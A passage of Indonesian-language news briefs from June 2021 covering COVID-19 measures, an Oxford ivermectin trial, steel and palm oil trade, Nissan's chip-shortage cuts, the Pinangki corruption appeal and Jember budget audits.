Tanjungsari, dirinya menyarankan agar penutupan benar-benar dilakukan ketika wilayah tersebut masuk dalam Zona Merah COVID-19. Selain penutupan aktivitas wisata, ia menyarankan ada aturan yang lebih tegas untuk kegiatan hajatan. "Zona merah ini risiko penularannya sangat tinggi, berbeda dengan zona hijau yang terbilang masih aman," katanya. Sebelumnya, Bupati Gunung Kidul Sunaryanta mengatakan belum mempertimbangkan penutupan aktivitas wisata. Ia juga mengatakan hajatan masih bisa diselenggarakan. "Masih berpatok pada peraturan bupati untuk aturan aktivitas wisata dan hajatan," katanya. (mth)

Produksi Baja Global Mei Naik 16,5 Persen, Permintaan di China Melemah

London, FNN - Produksi baja global melonjak 16,5 persen tahun ke tahun pada Mei karena pelonggaran pembatasan pandemi memicu aktivitas ekonomi, tetapi pertumbuhan di pasar utama China mendingin, data menunjukkan pada Selasa (22/6/2021). Produksi baja mentah global naik menjadi 174,4 juta ton pada Mei dibandingkan dengan tahun sebelumnya, kata Asosiasi Baja Dunia (WSA) dalam sebuah pernyataan. Produksi baja di China, produsen dan konsumen logam utama dunia, diperkirakan akan terus kehilangan tenaga dalam beberapa bulan mendatang karena pemerintah berusaha untuk mengekang emisi dan mengurangi pertumbuhan kredit, kata Capital Economics. Meskipun produksi baja mentah di China naik 6,6 persen tahun-ke-tahun menjadi 99,5 juta ton pada Mei, produksi harian turun 1,6 persen bulan-ke-bulan, kata Caroline Bain, kepala ekonom komoditas di Capital Economics, dalam sebuah catatan. “Kami memperkirakan produksi China akan terus berkurang selama tahun ini karena permintaan melemah,” kata Bain. Sebaliknya, produksi di tempat lain melonjak, dengan Jepang, India dan Amerika Serikat masing-masing meroket 42 persen, 47 persen dan 48 persen tahun ke tahun. Industri AS mengambil keuntungan dari reli harga baja di sana, kata Bain. "Produksi AS masih relatif lambat untuk pulih dari penurunan terkait virus tahun lalu, yang sebagian menjelaskan kekuatan harga di sana.” (mth)

Universitas Oxford Eksplorasi Ivermectin Sebagai Pengobatan COVID

London, FNN - Universitas Oxford pada Rabu mengatakan sedang menguji obat anti parasit ivermectin sebagai pengobatan yang memungkinkan untuk COVID-19, sebagai bagian dari penelitian yang didukung pemerintah Inggris dan bertujuan untuk membantu pemulihan di lingkungan selain rumah sakit. Dalam beberapa penelitian laboratorium, Ivermectin menghasilkan pengurangan replikasi virus, kata universitas itu, seraya menambahkan bahwa uji coba kecil menunjukkan bahwa pemberian obat lebih awal dapat mengurangi muatan virus dan durasi gejala pada beberapa pasien dengan COVID-19 ringan. Dijuluki PRINSIP, penelitian di Inggris pada Januari itu menunjukkan bahwa antibiotik azithromycin dan doxycycline umumnya tidak efektif melawan COVID-19 tahap awal. Sementara Organisasi Kesehatan Dunia (WHO), dan regulator Eropa dan AS telah merekomendasikan untuk tidak menggunakan ivermectin pada pasien COVID-19, ivermectin digunakan untuk mengobati penyakit itu di beberapa negara, termasuk India. "Dengan memasukkan ivermectin dalam uji coba skala besar seperti PRINSIP, kami berharap dapat menghasilkan bukti kuat untuk menentukan seberapa efektif pengobatan tersebut terhadap COVID-19, dan apakah ada manfaat atau bahaya yang terkait dengan penggunaannya," kata peneliti yang juga ketua bersama dalam percobaan itu, Chris Butler. Orang dengan kondisi hati yang parah, yang menggunakan obat pengencer darah warfarin atau menjalani perawatan lain yang diketahui berinteraksi dengan ivermectin, akan dikeluarkan dari uji coba, tambah universitas itu. Ivermectin adalah pengobatan ketujuh yang diselidiki dalam uji coba tersebut, dan saat ini sedang dievaluasi bersama obat antivirus favipiravir, kata Universitas Oxford. (mth)

Sumbar Dorong Generasi Muda Sebagai Estafet Keberlangsungan Budaya

Padang, FNN - Pemerintah Provinsi Sumatera Barat mendorong peningkatan sumber daya manusia (SDM) generasi muda yang bergelut dalam urusan kebudayaan untuk menjaga tongkat estafet keberlangsungan budaya di daerah itu. "Upaya yang kita berikan diantaranya berbagai workshop, loka karya, bimbingan teknis dan residensi melalui bimbingan para maestro seni, akademisi, praktisi seni dan budayawan," kata Kepala Dinas Kebudayaan Sumbar, Gemala Ranti saat menghadiri Workshop Pengembangan Seni Kreasi Berbasis Tradisi di Solok Selatan, Rabu. Ia mengatakan Pemprov Sumbar bersama DPRD selaku lembaga legislatif selalu memberikan perhatian untuk pembangunan dan peningkatan SDM urusan kebudayaan. Hal ini tergambar dalam Program Unggulan Gubernur Sumbar yang salah satunya memberikan apresiasi dan pembinaan kepada seniman dan budayawan. Demikian juga dengan adanya kegiatan pokok pikiran dari anggota DPRD. Namun ia menilai untuk program pembinaan kepada seniman dan budayawan tersebut perlu pula dukungan dari pemerintah kabupaten/kota, komunitas seni dan budaya, media dan pemangku kepentingan lainnya. "Bergerak dan maju bersama untuk kebudayaan harus dijadikan visi kita bersama, karena kejayaan sebuah bangsa dan negara dilihat dari bagaimana bangsa tersebut menghargai serta melestarikan budayanya," ujarnya. Anggota DPRD Sumbar, Mario Syah Johan yang merupakan putra daerah Solok Selatan mengatakan kebangkitan kebudayaan salah satunya harus didukung dengan program dan kegiatan yang diformulasikan dengan skala prioritas dan kebutuhan pelaku seni dan budaya tersebut. Ia optimistis berbagi pengalaman dan ilmu dari para maestro seni dan budaya yang ada di Sumbar kepada generasi muda akan mempercepat terwujudnya generasi muda urusan kebudayaan yang tangguh. Kepala Bidang Kesenian dan Diplomasi Budaya Dinas Kebudayaan Sumbar, Ilfitra menyampaikan kegiatan tersebut digelar selama tiga hari 22-26 Juni 2021 dengan tetap menerapkan protokol kesehatan dengan ketat. Sebanyak 50 peserta dari komunitas dan sanggar seni di Solok Selatan menyimak paparan dari seniman, akademisi dan praktisi seni diantaranya Eri Mefri, Rafi Loza, Yola Oksandra dan Viveri Yudi. "Kegiatan ini merupakan kontribusi dari pokok pikiran DPRD Sumbar Mario Syah Johan melalui Dinas Kebudayaan. Ini merupakan salah satu upaya untuk meningkatkan kapasitas para pelaku seni dalam tata kelola, kreatifitas dan pengembangan ide dalam penciptaan karya kreasi berbasis tradisi," katanya. Keterlibatan kantong-kantong seni dan budaya di nagari dalam menumbuhkan iklim berkesenian dinilai menjadi salah satu indikator utama untuk peningkatan indeks pemajuan kebudayaan. (mth)

Malaysia Lampaui Indonesia Menjadi Pemasok Minyak Sawit Utama India

Mumbai, FNN - Malaysia telah melampaui Indonesia menjadi pengekspor minyak sawit mentah (CPO) terbesar ke konsumen utama India pada 2020/21, setelah Indonesia memberlakukan pajak lebih tinggi atas ekspor minyak nabati tahun lalu, pejabat industri mengatakan kepada Reuters . Ekspor minyak sawit Malaysia ke India melonjak 238 persen menjadi 2,42 juta ton dalam tujuh bulan pertama tahun pemasaran 2020/21 yang dimulai pada 1 November, menurut data yang dikumpulkan oleh The Solvent Extractors' Association of India (SEA), sebuah badan perdagangan penyuling dan pedagang minyak nabati India. Selama periode tersebut, pengiriman minyak sawit Indonesia ke India anjlok 32 persen menjadi 2 juta ton. Itu terjadi setelah Indonesia memberlakukan pajak yang lebih tinggi pada ekspor minyak sawit mentah pada Desember untuk mengumpulkan dana bagi program biodiesel berbasis sawit yang ambisius, yang bertujuan untuk memaksimalkan penggunaan minyak nabati di dalam negeri. Pajak ekspor Indonesia berada pada level tertinggi selama lima bulan berturut-turut, menurut pejabat perdagangan. “Malaysia diuntungkan dari pajak ekspor Indonesia. Mereka mendapatkan pangsa pasar dengan menawarkan minyak sawit dengan harga diskon dibandingkan pasokan Indonesia,” kata B.V. Mehta, direktur eksekutif SEA. Namun, peningkatan pengiriman Malaysia ke India akan segera dibatasi karena Indonesia akan memangkas pajak ekspor, kata Sandeep Singh, direktur The Farm Trade, sebuah perusahaan konsultan dan perdagangan yang berbasis di Kuala Lumpur. Menteri Keuangan Indonesia Sri Mulyani Indrawati mengatakan pada Senin (21/6/2021) bahwa pemerintah akan memangkas tarif pagu untuk pajak ekspor CPO menjadi 175 dolar AS per ton dari 255 dolar AS, tanpa memberikan kerangka waktu. Produsen utama Indonesia mengenakan bea dan pajak sebesar 438 dolar AS per ton untuk pengiriman minyak sawit pada Juni. Sebagai perbandingan, bea ekspor Juni di saingannya Malaysia hampir 90 dolar AS. Itu membantu eksportir Malaysia untuk menawarkan minyak sawit dengan diskon besar bahkan setelah mempertahankan margin yang sehat, kata Anilkumar Bagani, kepala penelitian di pialang minyak nabati Sunvin Group yang berbasis di Mumbai. Eksportir Malaysia menawarkan diskon sebesar 100 dolar AS per ton pada Mei tetapi sekarang menawarkan diskon yang lebih kecil sebesar 25 dolar AS karena Indonesia akan mengurangi pajak ekspor, kata para dealer. Pemotongan pajak ekspor pada akhirnya dapat membantu Indonesia mendapatkan kembali pangsa pasar, kata Singh. “Dengan pasar mengalami penurunan tajam lebih dari 25 persen dalam dua minggu terakhir dan juga diskusi tentang pengurangan pajak minyak Indonesia, peralihan kembali ke Indonesia mungkin akan segera terjadi,” kata Singh. (mth)

Kemarin, Organisasi Jurnalis Surati Polri Hingga Jamaah Sesalkan KPK

Jakarta, FNN - Beragam peristiwa bidang hukum terjadi di Indonesia pada Selasa (22/6), mulai organisasi jurnalis surati Polri keluhkan sikap Kapolres Tanjungpinang hingga jamaah sesalkan KPK sita masjid dibangun Nurdin Abdullah. Berikut sajian berita bidang hukum yang dirangkum LKBN ANTARA. 1. Organisasi jurnalis surati Polri keluhkan sikap Kapolres Tanjungpinang Empat organisasi jurnalis di Tanjungpinang, Kepulauan Riau (Kepri) yaitu Aliansi Jurnalis Independen (AJI), Persatuan Wartawan Indonesia (PWI), Ikatan Jurnalis Televisi Indonesia (IJTI), dan Ikatan Wartawan Online (IWO) setempat telah menyurati Mabes Polri menyampaikan keluhan atas kepemimpinan Kapolres Tanjungpinang AKBP Fernando. Selengkapnya baca di sini 2. Satgas Pamtas tangkap 80 orang PMI non prosedural Satgas Pamtas Yonif Mekanis 643/Wns menangkap sebanyak 80 orang pekerja migran Indonesia (PMI) non prosedural di jalur tidak resmi perbatasan RI (Kalbar) - Malaysia saat memperketat pengawasan dan patroli di sepanjang wilayah perbatasan Provinsi Kalimantan Barat. Selengkapnya baca di sini 3. Pengadilan Negeri Jakarta Pusat tutup sementara karena COVID-19 Pengadilan Negeri (PN) Jakarta Pusat menghentikan sementara kegiatan selama tiga hari pasca 9 orang pegawai di tempat tersebut dinyatakan positif COVID-19 berdasarkan hasil tes "Polymerase Chain Reaction" (PCR). Selengkapnya baca di sini 4. Ombudsman: Tidak patuh rekomendasi langgar hukum dan sumpah jabatan Ketua Ombudsman Republik Indonesia Mokhammad Najih mengingat bahwa rekomendasi yang dibuat oleh lembaganya merupakan produk hukum. Selengkapnya baca di sini 5. Jamaah sesalkan KPK sita masjid dibangun Nurdin Abdullah Jamaah masjid menyesalkan Komisi Pemberantasan Korupsi (KPK) ikut menyita bangunan masjid berada di lahan yang berkaitan dengan perkara dugaan korupsi Gubenur Sulsel non aktif Nurdin Abdullah, di Dusun Arra, Desa Tompo Bulu, Kecamatan Tompo Bulu, Kabupaten Maros, Sulawesi Selatan. (sws) Selengkapnya baca di sini

Nissan Sesuaikan Produksi pada Bulan Juli Karena Kekurangan Chip

Jakarta, FNN - Nissan Motor Co akan menyesuaikan produksi di beberapa pabrik pada bulan depan karena kekurangan chip global, tiga sumber yang mengetahui langsung rencana tersebut mengatakan kepada Reuters. Dilansir Reuters, Rabu produsen mobil terbesar ketiga di Jepang itu akan menghentikan produksi di sebuah pabrik di Tochigi, Jepang timur, selama total tiga hari di bulan Juli, kata sumber tersebut, yang menolak disebutkan namanya karena rencana tersebut tidak dipublikasikan. Pabrik akan menganggur di Kyushu, Jepang selatan selama dua hari bulan depan, kata mereka, menambahkan bahwa pabrik juga akan membatalkan shift malam. Pabrik Kyushu lainnya juga hanya akan beroperasi pada shift siang hari untuk periode tertentu bulan depan, kata orang-orang tersebut. Pabrik Oppama Nissan yang berlokasi di Kanagawa telah menyesuaikan produksi sejak pertengahan Mei dengan beroperasi tanpa shift malam dan akan terus melakukannya pada Juli, kata sumber tersebut. "Karena kekurangan chip global, Nissan menyesuaikan produksi dan mengambil tindakan yang diperlukan untuk memastikan pemulihan," kata juru bicara Nissan, tanpa menjelaskan lebih lanjut. Nissan, seperti produsen mobil lainnya, telah membuat penyesuaian produksi karena krisis pasokan chip di seluruh dunia. Produsen mobil itu mengatakan kekurangan itu kemungkinan akan mempengaruhi produksi 500.000 kendaraan tahun ini. Kepala eksekutif produsen mobil Makoto Uchida mengatakan kepada pemegang saham pada rapat umum tahunan sebelumnya pada Selasa bahwa perusahaan meminimalkan dampak negatif dari kekurangan chip. Dia menambahkan bahwa Nissan berusaha menebus kerugian produksi dalam tahun keuangan dan mengambil tindakan untuk memastikan stabilitas pasokan suku cadangnya. (mth)

Indonesia Butuh Satelit untuk Pemerataan Internet

Jakarta, FNN - Badan Aksesibilitas Telekomunikasi dan Informasi, Kementerian Komunikasi dan Informatika (BAKTI Kominfo) melihat penggunaan satelit sebagai salah satu solusi untuk pemerataan akses internet di Tanah Air. "Karena letak geografis Indonesia, tidak bisa dihindari penggunaan satelit," kata Direktur Infrastruktur BAKTI Kominfo, Bambang Nugroho, saat acara virtual, Selasa (22/6). Keadaan geografis Indonesia, yang merupakan negara kepulauan dan banyak perbukitan membuat tidak semua titik bisa dijangkau jaringan telekomunikasi berbasis kabel serat optik. Jika mengandalkan kabel serat optik, konstruksi cukup sulit untuk sejumlah wilayah serta membutuhkan biaya yang sangat tinggi. Pemerintah sedang mengupayakan satelit multifungsi SATRIA-1 berkapasitas 150GB per detik, yang menurut jadwal, bisa beroperasi pada akhir tahun 2023. BAKTI mengutip riset IIGF Institute tahun 2019 tentang dampak ekonomi satelit multifungsi ini di empat sektor. Dengan asumsi peningkatan jaringan internet di titik yang belum terkoneksi sebesar 3 persen per tahun, SATRIA-1 menjanjikan penghematan biaya internet sebesar Rp29 triliun selama 15 tahun. Sementara dari sektor e-government, diperkirakan akan ada penghematan sekitar Rp4 triliun dari penggunaan anggaran pemerintah. Sektor e-education ditaksir juga akan efisien ketika menggunakan satelit ini, transformasi UN berbasis kertas menjadi UNBK, rata-rata penghematan diperkirakan di kisaran Rp3.000.000 per sekolah per tahun, dengan tingkat inflasi. Dalam 15 tahun, penghematan di sektor e-education selama 15 tahun mencapai Rp59 miliar. Efisiensi juga akan terjadi di penggunaan e-healthcare, memberikan penghematan sekitar Rp59,3 miliar selama 15 tahun. Pembangunan satelit SATRIA-1 saat ini sudah masuk tahap konstruksi, yang masih akan terus berlangsung hingga 2023 mendatang. Satelit SATRIA-1 akan menyediakan internet di 150.000 titik layanan publik, yang saat ini belum tersedia akses atau belum memiliki sambungan internet yang memadai. 150.000 titik tersebut terdiri dari sekolah dan pesantren (93.900 titik), pemerintah daerah (47.900), fasilitas kesehatan (3.700), Polsek (3.900) dan kementerian maupun lembaga lainnya (600). Indonesia memiliki total 501.112 titik layanan publik, saat ini total yang terlayani internet dengan baik baru mencapai 351.112 titik. (mth)

Kejagung Belum Ajukan Kasasi Terkait Banding Pinangki

Jakarta, FNN - Kejaksaan Agung (Kejagung) belum memutuskan untuk mengajukan kasasi atas putusan banding terdakwa Pinangki Sirna Malasari di Pengadilan Tinggi DKI Jakarta yang memotong masa penahanan dari 10 tahun menjadi empat tahun kurungan. Jaksa Agung Muda Tindak Pidana Khusus (JAMPidsus) Kejagung Ali Mukartono, saat dikonfirmasi Selasa malam, mengatakan hingga kini pihaknya belum menerima salinan putusan banding milik Pinangki dari Pengadilan Tinggi Jakarta. "Belum terima (salinan-red)," kata Ali. Sebelumnya, Ali mengatakan jaksa penuntut umum akan mempelajari terlebih dahulu putusan majelis hakim Pengadilan Tinggi DKI, sebelum mengambil keputusan apakah akan mengambil langkah hukum kasasi atau tidak. Sejak putusan banding dibacakan Senin (14/6), Jaksa penuntut umum (JPU) Kejaksaan Negeri Jakarta Pusat maupun Kejagung masih menunggu salinan putusan dari Pengadilan Tinggi DKI Jakarta. Sepekan setelah banding Pinangki dikabulkan, Ali menyatakan sampai saat ini pihaknya belum menerima salinan putusan Pengadilan Tinggi Jakarta. Ali justru mempertanyakan kepada awak media kenapa selalu mengejar pemberitaan soal Pinangki. Menurut Ali, tersangka dalam kasus tersebut ada banyak, sehingga tidak harus berfokus pada Pinangki seorang. "Kenapa sih yang dikejar-kejar Pinangki, tersangka terkait itu ada banyak," ujarnya. Saat wartawan menjelaskan bahwa banding Pinangki menjadi perhatian luas publik, terlebih pertimbangan hakim mengabulkan permohonan bandingnya dianggap menciderai rasa keadilan. Alasan hakim mengabulkan permohonan banding Pinangki karena mengakui dan menyesali perbuatannya, serta berstatus ibu dari anak berusia empat tahun sehingga layak diberi kesempatan untuk mengasuh. Publik bahkan membandingkan vonis Pengadilan Tinggi DKI Jakarta terhadap Pinangki dengan hukuman yang diterima oleh Angelina Sondakh yang justru diperberat ditingkat kasasi. Juga membandingkan dengan seorang ibu di Aceh yang ditahan bersama anaknya karena tersangkut kasus Informasi dan Transaksi Elektronik (ITE). "Kasus ini menimbulkan gejolak di masyarakat," kata salah seorang wartawan. Ali lantas menjawab bahwa yang membuat berita terkait Pinangki bergejolak adalah para media atau wartawan. "Yang menggejolakkan diri siapa, sampean-sampean kan (wartawan-red)," kata Ali. Menurut Ali, kasus Pinangki berbeda dengan perkara lainnya. Selain Pinangki, dalam perkara tersebut juga ada tersangka lainnya yang perlu diperhatikan. Ia menyebutkan, putusan pengadilan sudah jelas, dan pihaknya menghormati apa yang menjadi keputusan hakim. "Sudah jelas putusan pengadilan, iya kan!. Tersangka kita tunggu yang lain, masih banyak tersangka, itu satu ke satuan," kata Ali. Ali juga menyinggung dalam perkara Pinangki negara mendapatkan mobil. Sedangkan tersangka lain kesulitan untuk dilacaknya. "Malah dari Pinangki , negara dapat mobil. Yang lain kan susah ngelacaknya itu," kata Ali. Mobil yang dimaksudkan Ali, yakni mobil BMW X-5 yang dirampas hakim untuk dikembalikan kepada negara karena diduga hasil korupsi. Sebelumnya, Pengadilan Tindak Pidana Korupsi Jakarta memvonis Pinangki Sirna Malasari 10 tahun penjara. Selain itu, Pinangki dihukum membayar denda Rp600 juta subsider 6 bulan kurungan. Namun, Pengadilan Tinggi DKI Jakarta pada sidang banding Senin (14/6) memangkas hukuman Pinangki dari 10 tahun menjadi empat tahun. Dalam perkara ini, Pinangki terbukti melakukan tiga perbuatan pidana, yaitu pertama terbukti menerima suap sebesar 500 ribu dolar AS dari terpidana kasus "cessie" Bank Bali Djoko Tjandra. Uang itu diberikan dengan tujuan agar Djoko Tjandra dapat kembali ke Indonesia tanpa harus dieksekusi pidana dua tahun penjara berdasarkan putusan Peninjauan Kembali No. 12 tertanggal 11 Juni 2009. Pinangki ikut menyusun "action plan" berisi 10 tahap pelaksanaan untuk meminta fatwa Mahkamah Agung (MA) atas putusan Peninjauan Kembali (PK) Djoko Tjandra dengan mencantumkan inisial "BR" yaitu Burhanuddin sebagai pejabat di Kejaksaan Agung dan "HA" yaitu Hatta Ali selaku pejabat di MA dengan biaya 10 juta dolar AS namun baru diberikan 500 ribu dolar AS sebagai uang muka. Perbuatan kedua, Pinangki dinilai terbukti melakukan pencucian uang senilai 375.279 dolar AS atau setara Rp5.253.905.036. Uang tersebut adalah bagian dari uang suap yang diberikan Djoko Tjandra. Bentuk pencucian uang antara lain dengan membeli mobil BMW X5 warna biru, pembayaran sewa apartemen di Amerika Serikat, pembayaran dokter kecantikan di AS, pembayaran dokter "home care", pembayaran sewa apartemen, dan pembayaran kartu kredit. Perbuatan ketiga adalah Pinangki melakukan permufakatan jahat bersama dengan Andi Irfan Jaya, Anita Kolopaking, dan Djoko Tjandra untuk menjanjikan sesuatu berupa uang sejumlah 10 juta dolar AS kepada pejabat di Kejagung dan MA untuk menggagalkan eksekusi Djoko Tjandra yang tertuang dalam "action plan". (sws)

Kemarin, Sertifikat Halal Internasional Hingga Maksimalkan PPKM Mikro

Jakarta, FNN - Beragam peristiwa bidang politik terjadi di Indonesia pada Selasa (22/6), mulai dari Wapres minta sertifikat halal internasional untuk produk Indonesia hingga maksimalkan PPKM mikro. Berikut sajian berita bidang politik yang dirangkum LKBN ANTARA. 1. Wapres minta sertifikat halal internasional untuk produk Indonesia Wakil Presiden Ma’ruf Amin meminta sertifikat halal berstandar internasional untuk segera disepakati sehingga produk-produk halal buatan Indonesia dapat diterima di pasar global. Selengkapnya baca di sini 2. Puan pimpin Rapat Paripurna agendakan perpanjangan pembahasan RUU PDP Ketua DPR RI Puan Maharani akan memimpin Rapat Paripurna ke-21 Masa Persidangan V Tahun Sidang 2020-2021, Selasa, salah satu yang dibahas adalah perpanjangan pembahasan Rancangan Undang-Undang (RUU) Perlindungan Data Pribadi (PDP). Selengkapnya baca di sini 3. Inmendagri 14 Tahun 2021 memuat pengetatan PPKM mikro Menteri Dalam Negeri menerbitkan Instruksi Menteri Dalam Negeri (Inmendagri) Nomor 14 Tahun 2021 tentang Perpanjangan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) berbasis mikro serta memuat pemberlakuan pengetatan sejumlah kegiatan masyarakat. Selengkapnya baca di sini 4. BKN: Tes wawasan kebangsaan muncul dari hasil diskusi tim Kepala Badan Kepegawaian Negara (BKN) Bima Haria Wibisana mengatakan tes wawasan kebangsaan (TWK) yang merupakan syarat alih status pegawai KPK menjadi ASN muncul dari hasil diskusi rapat tim untuk membuat peraturan komisi. Selengkapnya baca di sini 5. DPR: Daripada debat "lockdown" lebih baik maksimalkan PPKM mikro Anggota Komisi IX DPR Rahmad Handoyo mengajak masyarakat memaksimalkan kebijakan PPKM berbasis mikro daripada berdebat terkait "lockdown" atau karantina wilayah. Selengkapnya baca di sini (sws)

BKSAP Minta Parlemen Eropa Tidak Diskriminatif Minyak Sawit Indonesia

Jakarta, FNN - Ketua Badan Kerja Sama Antar Parlemen (BKSAP) DPR RI Fadli Zon meminta Uni Eropa dan Parlemen Eropa tidak boleh diskriminatif terkait minyak sawit dari Indonesia. Menurut dia, diskriminasi terhadap produk pertanian tidak akan membantu negara berkembang, tetapi malah semakin memperburuk kehidupan para petani yang tergantung pada komoditas itu. "Memasuki usia hubungan diplomatik yang ke- 44 tahun antara Uni Eropa dan ASEAN, saya mengajak Parlemen Eropa untuk dapat lebih aktif melakukan dialog, khususnya terkait isu-isu yang masih menjadi hambatan dalam perdagangan, seperti isu kelapa sawit," kata Fadli Zon dalam keterangannya di Jakarta, Selasa. Hal itu dikatakan Fadli saat menjadi pembicara dialog daring antara Parlemen Eropa dengan Parlemen Negara-negara ASEAN (AIPA) pada Selasa (22/6). Fadli Zon menjadi pembicara di sesi panel pertama bersama Ketua Komite Perdagangan Internasional Parlemen Eropa Bernd Lange. Fadli menilai sampai saat ini kelapa sawit seringi mendapatkan penilaian yang cenderung tidak adil jika dibandingkan dengan minyak nabati lainnya. "Kelapa sawit dikategorikan sebagai 'High Risk ILUC (Indirect Land Used Change)' oleh Uni Eropa. Padahal, tingkat produktivitasnya lebih tinggi ketimbang minyak nabati lain yang lebih menghabiskan banyak lahan ketimbang kelapa sawit," ujarnya. Dia menyampaikan pentingnya masa depan perdagangan antara Uni Eropa-ASEAN, khususnya terkait pendekatan bilateral dan kemungkinan pengaktifan kembali negosiasi perdagangan regional antara Uni Eropa dengan ASEAN yang sempat ditunda untuk memberikan kesempatan bagi negosiasi bilateral. Menurut dia, peningkatan status hubungan diplomatik antara kedua entitas dari dialog menjadi partner strategis diharapkan dapat membuka kesempatan bagi peluang kerja sama di bidang-bidang baru seperti membangun ketahanan kesehatan regional maupun pengembangan energi terbarukan. "Kedua bidang tersebut berpeluang untuk memperkuat pemulihan ekonomi pascapandemi khususnya melalui investasi dan penciptaan lapangan pekerjaan baru," katanya. Fadli optimistis ke depan hubungan dagang antara Uni Eropa dengan ASEAN akan terus meningkat dan berkembang, karena Uni Eropa-ASEAN adalah mitra strategis yang memiliki banyak kesamaan khususnya dalam komitmen menjaga multilateralisme dan tatanan internasional. (sws)

Sebanyak 461 Anak di Lebak Positif COVID-19

Lebak, FNN - Sebanyak 461 anak di Kabupaten Lebak, Banten sejak setahun terakhir ini dinyatakan positif COVID-19 dari penularan kluster keluarga. Sebagian anak itu dirujuk untuk perawatan medis di RSUD Banten dan sebagian lainnya menjalani isolasi mandiri, " kata Kepala Dinas Kesehatan Kabupaten Lebak Trianto Supiono di Lebak, Selasa. Penyebaran virus corona yang menyerang anak-anak itu, sebagian sudah sembuh dan dinyatakan negatif COVID-19. Sebagian besar anak-anak yang positif terpapar berusia 18 tahun, namun juga ada di bawah lima tahun atau balita. Namun, kata dia, jumlah anak-anak yang positif COVID-19 relatif kecil dibandingkan usia dewasa dan lanjut. "Semua anak-anak yang positif terpapar corona karena penularan dari keluarga," katanya. Ia mengajak masyarakat jika keluar rumah untuk makan, wajib menaati protokol kesehatan dengan memakai masker, mencuci tangan, menjaga jarak dan menghindari kerumunan. Selama ini, kata dia, masih banyak ditemukan masyarakat mengabaikan protokol kesehatan, sehingga berpotensi penularan penyakit yang mematikan itu. "Kami minta, warga jika tidak ada keperluan penting, sebaiknya berada di rumah guna mencegah pandemi COVID-19, " katanya. Berdasarkan data COVID-19 di Kabupaten Lebak sampai dengan Selasa ini, tercatat sebanyak 3.889 orang positif dan 3.477 orang dinyatakan sembuh, 335 orang masih menjalani isolasi dan perawatan medis serta 77 orang dilaporkan meninggal dunia. (mth)

Nota Pengantar LPP APBD Jember 2020 Dibayangi LHP BPK

Jember, FNN - Bupati Jember Hendy Siswanto menyampaikan nota pengantar Laporan Pertanggungjawaban Pelaksanaan APBD Jember tahun 2020 dibayangi laporan hasil pemeriksaan Badan Pemeriksa Keuangan (LHP BPK) yang memberikan opini tidak wajar, dalam Rapat Paripurna DPRD Jember, Jawa Timur, Selasa. "Paling krusial masih ada anggaran yang belum bisa dipertanggungjawabkan senilai Rp107 miliar sesuai dengan LHP BPK, sehingga hal itu yang membuat saya sedih," kata Hendy usai Rapat Paripurna Nota Pengantar LPP APBD tahun anggaran 2020 di DPRD Jember. Ia mengaku belum tahu untuk menyelesaikan persoalan anggaran Rp107 miliar yang tidak memiliki surat pertanggungjawaban (SPJ) pelaksanaan kegiatan karena tidak mengetahui SPJ kegiatan tersebut. "Kami minta teman-teman ASN yang dulu mengerjakan anggaran itu yang menjawab laporan yang diminta BPK, namun secara pribadi saya menilai hal itu sulit untuk dipertanggungjawabkan," tuturnya. Hendy menjelaskan ada kemungkinan pekerjaan yang menggunakan anggaran dalam APBD 2020 dikerjakan setelah 31 Desember 2020, padahal akhir tahun sudah tutup buku. "Ada kemungkinan transaksi kegiatan di luar 31 Desember 2021. Itu dugaan saya dan berdasarkan keterangan sejumlah pejabat yang saat itu menjabat bahwa senilai Rp107 miliar sudah dikeluarkan uangnya, namun tidak ada SPJ," katanya. Hendy membacakan LPP APBD 2020 dalam sidang paripurna, namun semua pelaksanaan dalam APBD 2020 di bawah kepemimpinan bupati sebelumnya yakni Bupati Faida. Dalam LPP APBD tahun anggaran 2020 yang dibacakan Hendy tercatat Sisa Lebih Pembiayaan Anggaran (SILPA) tahun 2020 sebesar Rp842,99 miliar yang terdiri di antaranya kas di bendahara pengeluaran BLUD (3 RSD) sebesar Rp39,04 miliar, kas di bendahara penerimaan BLUD sebesar Rp50, 16 juta, kas di BUD sebesar Rp602,34 miliar. Kemudian kas di Dinas Pendidikan (BOS) sebesar Rp1,55 miliar, kas di Dinas Kesehatan (JKN) sebesar Rp73,89 miliar, kas di Bendahara BTT COVID-19 sebesar Rp18,98 miliar yang telah disetor ke kas daerah pada tahun 2021. Kemudian dana sebesar Rp107,09 miliar merupakan Surat Perintah Pencairan Dana Tambah Uang (SP2D TU) yang belum disahkan SPJ nya pada tahun 2020, sehingga SILPA murni sebesar 735,89 miliar. (mth)

Pansus COVID-19 Jember Paparkan Empat Temuan Buruknya Kinerja Satgas

Jember, FNN - Pansus COVID-19 DPRD Jember memaparkan empat temuan buruknya kinerja Satgas COVID-19 pada tahun 2020 dalam rapat paripurna internal DPRD Jember, Jawa Timur, Selasa petang. "Ada empat kesimpulan yang kami sampaikan dalam rapat paripurna internal hari ini berdasarkan inspeksi mendadak dan rapat dengar pendapat yang digelar selama beberapa pekan terakhir," kata Ketua Pansus COVID-19 DPRD Jember David Handoko Seto di Jember. Kesimpulan pertama yakni kurang adanya keterbukaan informasi publik terkait kinerja Satgas COVID-19 Jember dan terkesan sengaja menutup diri terkait penganggaran dan penggunaan anggaran COVID-19, sehingga sangat terlihat buruknya administrasi pengelolaan anggaran uang rakyat era pemerintahan Bupati Faida. Kedua, mangkraknya 1.223 unit tenda bantuan yang rencananya untuk pedagang pasar terdampak wabah penyakit yang disebabkan virus corona dan ribuan tenda lipat yang dibeli dengan menggunakan anggaran Satgas COVID-19 sebesar Rp1,2 miliar. "Tenda tersebut mangkrak di gudang milik Badan Metrologi di Jalan Trunojoyo, bahkan proses pengadaan tanpa melalui rekanan dan membeli langsung ke salah satu gerai di pusat perbelanjaan," tuturnya. Ketiga, persoalan yang menyisakan hingga kini yakni belum terbayarnya rekanan pengadaan wastafel sebesar Rp34,8 miliar terhadap 174 perusahaan. "Keempat, ada anggaran sebesar Rp107 miliar yang disimpulkan oleh BPK bahwa berpotensi tidak dapat dipertanggungjawabkan, sehingga kami merekomendasikan kepada BPK ataupun aparat penegak hukum untuk lebih serius membongkar penggunaan anggaran COVID-19," katanya. David mengatakan Pansus COVID-19 mendorong BPK dan aparat penegak hukum melangkah ke tingkat pemeriksaan yang lebih tinggi yakni menggelar audit investigatif. Untuk itu, lanjut dia, Pansus meminta perpanjangan waktu karena kondisi saat COVID-19 di Jember belum selesai dan berpotensi akan bertambah, serta masih banyak kejanggalan yang belum terungkap terkait banyak penggunaan anggaran yang tidak dilengkapi surat pertanggungjawaban (SPJ). (mth)

Tangan Istana di Balik Manuver Tiga Periode

